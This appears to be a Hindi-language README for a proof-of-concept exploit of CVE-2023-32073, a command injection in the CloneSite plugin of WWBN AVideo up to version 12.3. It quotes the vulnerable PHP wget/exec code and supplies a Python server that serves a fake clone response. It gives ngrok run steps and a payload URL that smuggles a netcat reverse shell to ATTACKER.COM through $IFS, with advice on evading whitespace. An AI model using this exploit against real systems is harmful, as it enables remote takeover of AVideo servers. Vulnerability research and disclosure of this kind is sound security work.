jmrcsnchz/cve-2023-32073WWBN AVideo प्रमाणित दूरस्थ कोड निष्पादन
plugin/CloneSite/cloneClient.json.php में एक कमांड इंजेक्शन भेद्यता मौजूद है, जो आपके CloneSite प्लगइन होने पर रिमोट कोड निष्पादन की अनुमति देती है। यह CVE-2023-30854 के फिक्स को बायपास करता है, जो WWBN Avideo के संस्करण 12.3 तक को प्रभावित करता है।
/plugin/CloneSite/cloneClient.json.php
$json->sqlFile = escapeshellarg(preg_replace('/[^a-z0-9_.-]/i', '', $json->sqlFile));
$json->videoFiles = escapeshellarg(preg_replace('/[^a-z0-9_.-]/i', '', $json->videoFiles));
$json->photoFiles = escapeshellarg(preg_replace('/[^a-z0-9_.-]/i', '', $json->photoFiles));
// get dump file
$cmd = "wget -O {$clonesDir}{$json->sqlFile} {$objClone->cloneSiteURL}videos/cache/clones/{$json->sqlFile}";
$log->add("Clone (2 of {$totalSteps}): Geting MySQL Dump file");
exec($cmd . " 2>&1", $output, $return_val);
$objClone->cloneSiteURL को ठीक से सैनिटाइज़ नहीं किया गया है।
avidexploit.py
from http.server import BaseHTTPRequestHandler, HTTPServer
import time
hostName = "localhost"
serverPort = 8080
class MyServer(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-type", "application/json")
self.end_headers()
self.wfile.write(bytes("{\"error\":false,\"msg\":\"\",\"url\":\"https:\/\/attacker.com/\/\",\"key\":\"2d6db3c09e41a9c27dbc72aecc4a6fc0\",\"useRsync\":1,\"videosDir\":\"\/var\/www\/html\/demo.avideo.com\/videos\/\",\"sqlFile\":\"Clone_mysqlDump_644ab263e62d6.sql\",\"videoFiles\":[],\"photoFiles\":[]}", "utf-8"))
if __name__ == "__main__":
webServer = HTTPServer((hostName, serverPort), MyServer)
print("Server started http://%s:%s" % (hostName, serverPort))
try:
webServer.serve_forever()
except KeyboardInterrupt:
pass
webServer.server_close()
print("Server stopped.")
कमांड लाइन में चलाएँ
$ python3 avidexploit.py &
$ ngrok tcp 8080 # वैकल्पिक यदि VPS पर नहीं चल रहा है
http://2.tcp.ngrok.io:14599/;nc$IFS'ATTACKER.COM'$IFS'5555'$IFS-e$IFS/bin/sh;#
शोषण के काम करने के लिए व्हाइट स्पेस का उपयोग न करना महत्वपूर्ण है। अपने RCE में तर्क जोड़ते समय व्हाइटस्पेस को $IFS से बदलें।
